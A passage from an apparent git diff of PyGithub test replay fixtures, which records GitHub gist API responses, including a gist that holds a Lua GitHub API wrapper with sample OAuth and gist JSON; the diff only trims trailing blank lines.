--\nfunction GithubAPI.OAuth.getToken(client_id, scope, callback)\n\tGithubAPI.http_request(\"https://github.com/login/oauth/authorize?client_id=\"..client_id..\"&scope=\"..scope, function(data, status, headers)\n\t\tGithubAPI.OAuth._getToken(client_id, client_secret, data, callback)\n\tend, nil, true)\nend\n-- GitHub redirects back to your site --\nfunction GithubAPI.OAuth._getToken(client_id, client_secret, code, callback)\n\tGithubAPI.http_request(\"https://github.com/login/oauth/access_token\", callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tclient_id = client_id,\n\t\t\tclient_secret = client_secret,\n\t\t\tcode = code\n\t\t}\n\t}, true)\nend\n\n-- List your authorizations --\nfunction GithubAPI.OAuth.authorizations.list(callback)\n\tGithubAPI.http_request(\"authorizations\", callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nLink: ; rel=\"next\",\n ; rel=\"last\"\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n[\n {\n \"id\": 1,\n \"url\": \"https://api.github.com/authorizations/1\",\n \"scopes\": [\n \"public_repo\"\n ],\n \"token\": \"abc123\",\n \"app\": {\n \"url\": \"http://my-github-app.com\",\n \"name\": \"my github app\",\n \"client_id\": \"abcde12345fghij67890\"\n },\n \"note\": \"optional note\",\n \"note_url\": \"http://optional/note/url\",\n \"updated_at\": \"2011-09-06T20:39:23Z\",\n \"created_at\": \"2011-09-06T17:26:27Z\"\n }\n]\n]]--\n\n-- Get a single authorization --\nfunction GithubAPI.OAuth.authorizations.get(id, callback)\n\tGithubAPI.http_request(\"authorizations/\"..id, callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/authorizations/1\",\n \"scopes\": [\n \"public_repo\"\n ],\n \"token\": \"abc123\",\n \"app\": {\n \"url\": \"http://my-github-app.com\",\n \"name\": \"my github app\",\n \"client_id\": \"abcde12345fghij67890\"\n },\n \"note\": \"optional note\",\n \"note_url\": \"http://optional/note/url\",\n \"updated_at\": \"2011-09-06T20:39:23Z\",\n \"created_at\": \"2011-09-06T17:26:27Z\"\n}\n]]--\n\n-- Create a new authorization --\nfunction GithubAPI.OAuth.authorizations.create(callback, scopes, note, note_url, client_id, client_secret)\n\tGithubAPI.http_request(\"authorizations/\", callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tscopes = scopes,\n\t\t\tnote = note,\n\t\t\tnote_url = note_url,\n\t\t\tclient_id = client_id,\n\t\t\tclient_secret = client_secret\n\t\t}\n\t})\nend\n\n--[[ Input --\nscopes\nOptional array - A list of scopes that this authorization is in.\n\nnote\nOptional string - A note to remind you what the OAuth token is for.\n\nnote_url\nOptional string - A URL to remind you what app the OAuth token is for.\n\nclient_id\nOptional String - The 20 character OAuth app client key for which to create the token.\n\nclient_secret\nOptional String - The 40 character OAuth app client secret for which to create the token.\n~~~\n{\n \"scopes\": [\n \"public_repo\"\n ],\n \"note\": \"admin script\"\n}\n~~~\n]]--\n\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/authorizations/1\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/authorizations/1\",\n \"scopes\": [\n \"public_repo\"\n ],\n \"token\": \"abc123\",\n \"app\": {\n \"url\": \"http://my-github-app.com\",\n \"name\": \"my github app\",\n \"client_id\": \"abcde12345fghij67890\"\n },\n \"note\": \"optional note\",\n \"note_url\": \"http://optional/note/url\",\n \"updated_at\": \"2011-09-06T20:39:23Z\",\n \"created_at\": \"2011-09-06T17:26:27Z\"\n}\n]]--\n\n-- TODO\n-- Update\n-- Check\n-- Delete\n\n--- GISTS ---\n\n-- List gists --\nfunction GithubAPI.gist.list.user(user, callback)\n\tGithubAPI.http_request(\"users/\"..user..\"/gists\", callback)\nend\nfunction GithubAPI.gist.list.all(callback) -- return all public gists if called anonymously\n\tGithubAPI.http_request(\"gists\", callback)\nend\nfunction GithubAPI.gist.list.allPublic(callback)\n\tGithubAPI.http_request(\"gists/public\", callback)\nend\nfunction GithubAPI.gist.list.starred(callback)\n\tGithubAPI.http_request(\"gists/starred\", callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nLink: ; rel=\"next\",\n ; rel=\"last\"\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n[\n {\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\"\n }\n]\n]]--\n\n-- Get a single gist --\nfunction GithubAPI.gist.get(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id, callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\",\n \"forks\": [\n {\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"url\": \"https://api.github.com/gists/add0d71b065f55c46f60\",\n \"created_at\": \"2011-04-14T16:00:49Z\"\n }\n ],\n \"history\": [\n {\n \"url\": \"https://api.github.com/gists/80bdb0d081c447600e18\",\n \"version\": \"57a7f021a713b1c5a6a199b54cc514735d2d462f\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"change_status\": {\n \"deletions\": 0,\n \"additions\": 180,\n \"total\": 180\n },\n \"committed_at\": \"2010-04-14T02:15:15Z\"\n }\n ]\n}\n]]--\n\n-- Create a gist --\nfunction GithubAPI.gist.create(public, files, callback ,description)\n\tGithubAPI.http_request(\"gists/\"..id, callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tpublic = public,\n\t\t\tfiles = files,\n\t\t\tdescription = description\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"description\": \"the description for this gist\",\n \"public\": true,\n \"files\": {\n \"file1.txt\": {\n \"content\": \"String file contents\"\n }\n }\n}\n]]--\n\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/gists/1\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\",\n \"forks\": [\n {\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"url\": \"https://api.github.com/gists/add0d71b065f55c46f60\",\n \"created_at\": \"2011-04-14T16:00:49Z\"\n }\n ],\n \"history\": [\n {\n \"url\": \"https://api.github.com/gists/80bdb0d081c447600e18\",\n \"version\": \"57a7f021a713b1c5a6a199b54cc514735d2d462f\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"change_status\": {\n \"deletions\": 0,\n \"additions\": 180,\n \"total\": 180\n },\n \"committed_at\": \"2010-04-14T02:15:15Z\"\n }\n ]\n}\n]]--\n\n-- Edit a gist --\nfunction GithubAPI.gist.edit(id, files, callback, description)\n\tGithubAPI.http_request(\"gists/\"..id, callback, {\n\t\tmethod = \"PATCH\",\n\t\tdata = {\n\t\t\tid = id,\n\t\t\tfiles = files,\n\t\t\tdescription = description\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"description\": \"the description for this gist\",\n \"files\": {\n \"file1.txt\": {\n \"content\": \"updated file contents\"\n },\n \"old_name.txt\": {\n \"filename\": \"new_name.txt\",\n \"content\": \"modified contents\"\n },\n \"new_file.txt\": {\n \"content\": \"a new file\"\n },\n \"delete_this_file.txt\": null\n }\n}\n]]--\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\",\n \"forks\": [\n {\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"url\": \"https://api.github.com/gists/add0d71b065f55c46f60\",\n \"created_at\": \"2011-04-14T16:00:49Z\"\n }\n ],\n \"history\": [\n {\n \"url\": \"https://api.github.com/gists/80bdb0d081c447600e18\",\n \"version\": \"57a7f021a713b1c5a6a199b54cc514735d2d462f\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"change_status\": {\n \"deletions\": 0,\n \"additions\": 180,\n \"total\": 180\n },\n \"committed_at\": \"2010-04-14T02:15:15Z\"\n }\n ]\n}\n]]--\n\n-- Star a gist --\nfunction GithubAPI.gist.star(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/star\", callback, {method=\"PUT\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n-- Unstar a gist --\nfunction GithubAPI.gist.unstar(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/star\", callback, {method=\"DELETE\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n-- Check if a gist is starred --\nfunction GithubAPI.gist.checkStar(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/star\", callback)\nend\n\n--[[\n-- Response if gist is starred --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n\n-- Response if gist is not starred --\nStatus: 404 Not Found\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n-- Fork a gist --\nfunction GithubAPI.gist.fork(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id..\"/forks\", callback, {method=\"POST\"})\nend\n\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/gists/2\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"url\": \"https://api.github.com/gists/88a3112be74ba6ad701e\",\n \"id\": \"1\",\n \"description\": \"description of gist\",\n \"public\": true,\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"files\": {\n \"ring.erl\": {\n \"size\": 932,\n \"filename\": \"ring.erl\",\n \"raw_url\": \"https://gist.github.com/raw/365370/8c4d2d43d178df44f4c03a7f2ac0ff512853564e/ring.erl\"\n }\n },\n \"comments\": 0,\n \"comments_url\": \"https://api.github.com/gists/8438e99468ee9a4ab10e/comments/\",\n \"html_url\": \"https://gist.github.com/1\",\n \"git_pull_url\": \"git://gist.github.com/1.git\",\n \"git_push_url\": \"git@gist.github.com:1.git\",\n \"created_at\": \"2010-04-14T02:15:15Z\"\n}\n]]--\n\n-- Delete a gist --\nfunction GithubAPI.gist.delete(id, callback)\n\tGithubAPI.http_request(\"gists/\"..id, callback, {method=\"DELETE\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n--- GISTS COMMENTS ---\n\n-- List comments on a gist --\nfunction GithubAPI.gist.comment.list(gist_id, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments\", callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n[\n {\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"created_at\": \"2011-04-18T23:23:56Z\"\n }\n]\n]]--\n\n-- Get a single comment --\nfunction GithubAPI.gist.comment.get(gist_id, id, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback)\nend\n\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"created_at\": \"2011-04-18T23:23:56Z\"\n}\n]]--\n\n-- Create a comment --\nfunction GithubAPI.gist.comment.create(gist_id, body, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback, {\n\t\tmethod = \"POST\",\n\t\tdata = {\n\t\t\tbody = body\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"body\": \"Just commenting for the sake of commenting\"\n}\n]]--\n--[[ Response --\nStatus: 201 Created\nLocation: https://api.github.com/gists/comments/1\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"created_at\": \"2011-04-18T23:23:56Z\"\n}\n]]--\n\n-- Edit a comment --\nfunction GithubAPI.gist.comment.edit(gist_id, id, body, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback, {\n\t\tmethod = \"PATCH\",\n\t\tdata = {\n\t\t\tbody = body\n\t\t}\n\t})\nend\n\n--[[ Input --\n{\n \"body\": \"Just commenting for the sake of commenting\"\n}\n]]--\n--[[ Response --\nStatus: 200 OK\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n{\n \"id\": 1,\n \"url\": \"https://api.github.com/gists/ae709e9cf889e485e65f/comments/1\",\n \"body\": \"Just commenting for the sake of commenting\",\n \"user\": {\n \"login\": \"octocat\",\n \"id\": 1,\n \"avatar_url\": \"https://github.com/images/error/octocat_happy.gif\",\n \"gravatar_id\": \"somehexcode\",\n \"url\": \"https://api.github.com/users/octocat\"\n },\n \"created_at\": \"2011-04-18T23:23:56Z\"\n}\n]]--\n\n-- Delete a comment --\nfunction GithubAPI.gist.comment.delete(gist_id, id, callback)\n\tGithubAPI.http_request(\"gists/..\"gist_id\"../comments/\"..id, callback, {method = \"DELETE\"})\nend\n\n--[[ Response --\nStatus: 204 No Content\nX-RateLimit-Limit: 5000\nX-RateLimit-Remaining: 4999\n]]--\n\n----------------------------------------------------------------------------\n-------------------------------- TOOLS -------------------------------------\n----------------------------------------------------------------------------\n\nfunction GithubAPI.http_request(url, callback, opts, fullUrl)\n\topts = opts or {}\n\t-- if GithubAPI.token then opts.headers = TOKEN BEARER\n\tif opts.data then opts.data = json.encode(opts.data) end\n\n\tlocal _url\n\tif (fullUrl) then _url = url else _url = GithubAPI.location .. url end\n\n\thttp.request(_url, function(data, status, headers)\n\t\tif (status == 500) then error(\"Github: Internal Server Error ...\") end\n\t\tdata = json.decode(data)\n\t\tcallback(data, status, headers)\n\tend, alert, opts)\nend\n\nfunction GithubAPI.explode(div,str) -- credit: http://richard.warburton.it\n if (div=='') then return false end\n local pos,arr = 0,{}\n for st,sp in function() return string.find(str,div,pos,true) end do\n table.insert(arr,string.sub(str,pos,st-1))\n pos = sp + 1\n end\n table.insert(arr,string.sub(str,pos))\n return arr\nend\n\n-- GITHUB TIMESTAMP (YYYY-MM-DDTHH:MM:SSZ) to os.time\nfunction GithubAPI.gtimestamp(githubTime)\n\tgithubTime = githubTime:sub(1, #githubTime-1) -- remove Z\n\tgithubTime = GithubAPI.explode(\"T\", githubTime)\n\tgithubTime[1] = GithubAPI.explode(\"-\", githubTime[1])\n\tgithubTime[2] = GithubAPI.explode(\":\", githubTime[2])\n\treturn os.time({\n\t\tyear = tonumber(githubTime[1][1]),\n\t\tmonth = tonumber(githubTime[1][2]),\n\t\tday = tonumber(githubTime[1][3]),\n\t\thour = tonumber(githubTime[2][1]),\n\t\tmin = tonumber(githubTime[2][2]),\n\t\tsec = tonumber(githubTime[2][3])\n\t})\nend"}},"public":true,"created_at":"2013-08-21T16:28:24Z","updated_at":"2013-08-21T16:28:24Z","description":"Github API","comments":0,"user":null,"comments_url":"https://api.github.com/gists/6296732/comments","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146?","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"fork_of":{"url":"https://api.github.com/gists/6296553","forks_url":"https://api.github.com/gists/6296553/forks","commits_url":"https://api.github.com/gists/6296553/commits","id":"6296553","git_pull_url":"https://gist.github.com/6296553.git","git_push_url":"https://gist.github.com/6296553.git","html_url":"https://gist.github.com/6296553","files":{},"public":true,"created_at":"2013-08-21T16:12:27Z","updated_at":"2013-10-23T14:58:31Z","description":"Github API","comments":0,"user":null,"comments_url":"https://api.github.com/gists/6296553/comments","owner":{"login":"HyroVitalyProtago","id":3470988,"avatar_url":"https://avatars.githubusercontent.com/u/3470988?","gravatar_id":"ed59562b231a649345f38703948f76f4","url":"https://api.github.com/users/HyroVitalyProtago","html_url":"https://github.com/HyroVitalyProtago","followers_url":"https://api.github.com/users/HyroVitalyProtago/followers","following_url":"https://api.github.com/users/HyroVitalyProtago/following{/other_user}","gists_url":"https://api.github.com/users/HyroVitalyProtago/gists{/gist_id}","starred_url":"https://api.github.com/users/HyroVitalyProtago/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/HyroVitalyProtago/subscriptions","organizations_url":"https://api.github.com/users/HyroVitalyProtago/orgs","repos_url":"https://api.github.com/users/HyroVitalyProtago/repos","events_url":"https://api.github.com/users/HyroVitalyProtago/events{/privacy}","received_events_url":"https://api.github.com/users/HyroVitalyProtago/received_events","type":"User","site_admin":false}},"forks":[],"history":[{"user":null,"version":"c464aecd7fea16684e935607eeea7ae4f8caa0e2","committed_at":"2013-08-21T16:12:27Z","change_status":{"total":793,"additions":793,"deletions":0},"url":"https://api.github.com/gists/6296732/c464aecd7fea16684e935607eeea7ae4f8caa0e2"}]} - diff --git a/tests/ReplayData/Gist.testCreateComment.txt b/tests/ReplayData/Gist.testCreateComment.txt index e5a449ae4c..90b03a29a2 100644 --- a/tests/ReplayData/Gist.testCreateComment.txt +++ b/tests/ReplayData/Gist.testCreateComment.txt @@ -19,4 +19,3 @@ None 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4992'), ('content-length', '479'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"77456eabf6ebaafc2808cfbd4dfa5904"'), ('date', 'Sat, 19 May 2012 07:07:57 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/gists/comments/323629')] {"updated_at":"2012-05-19T07:07:57Z","body":"Comment created by PyGithub","url":"https://api.github.com/gists/comments/323629","created_at":"2012-05-19T07:07:57Z","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"id":323629} - diff --git a/tests/ReplayData/Gist.testDelete.txt b/tests/ReplayData/Gist.testDelete.txt index b22500c106..2f6abc5f91 100644 --- a/tests/ReplayData/Gist.testDelete.txt +++ b/tests/ReplayData/Gist.testDelete.txt @@ -18,5 +18,3 @@ None None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4965'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 19 May 2012 07:26:55 GMT')] - - diff --git a/tests/ReplayData/Gist.testDeleteFile.txt b/tests/ReplayData/Gist.testDeleteFile.txt index 7a6d84eb6c..35ea80bc2b 100644 --- a/tests/ReplayData/Gist.testDeleteFile.txt +++ b/tests/ReplayData/Gist.testDeleteFile.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('content-length', '4233'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"316f00c71eeb327bbeac7a3f7aba5237"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Mon, 08 Apr 2013 18:50:40 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/gists/5339374","forks_url":"https://api.github.com/gists/5339374/forks","commits_url":"https://api.github.com/gists/5339374/commits","id":"5339374","git_pull_url":"https://gist.github.com/5339374.git","git_push_url":"https://gist.github.com/5339374.git","html_url":"https://gist.github.com/5339374","files":{"bar.txt":{"filename":"bar.txt","type":"text/plain","language":null,"raw_url":"https://gist.github.com/raw/5339374/9a84713661904c94ce1e404151d15030b042a884/bar.txt","size":49,"content":"This file will be renamed \"baz.txt\" by PyGithub.\n"}},"public":true,"created_at":"2013-04-08T18:46:14Z","updated_at":"2013-04-08T18:50:40Z","description":"Test gist for PyGithub","comments":0,"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"comments_url":"https://api.github.com/gists/5339374/comments","forks":[],"history":[{"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"version":"3b66ad4cc07f2bebb2eae2b2f2eefba33d2fb2d5","committed_at":"2013-04-08T18:50:40Z","change_status":{"total":1,"additions":0,"deletions":1},"url":"https://api.github.com/gists/5339374/3b66ad4cc07f2bebb2eae2b2f2eefba33d2fb2d5"},{"user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"version":"7887f7ac9eb5c1963004bdde3bcfe2221d9a0515","committed_at":"2013-04-08T18:46:14Z","change_status":{"total":2,"additions":2,"deletions":0},"url":"https://api.github.com/gists/5339374/7887f7ac9eb5c1963004bdde3bcfe2221d9a0515"}]} - diff --git a/tests/ReplayData/Gist.testEditWithAllParameters.txt b/tests/ReplayData/Gist.testEditWithAllParameters.txt index 869c07e936..477fb341e7 100644 --- a/tests/ReplayData/Gist.testEditWithAllParameters.txt +++ b/tests/ReplayData/Gist.testEditWithAllParameters.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), 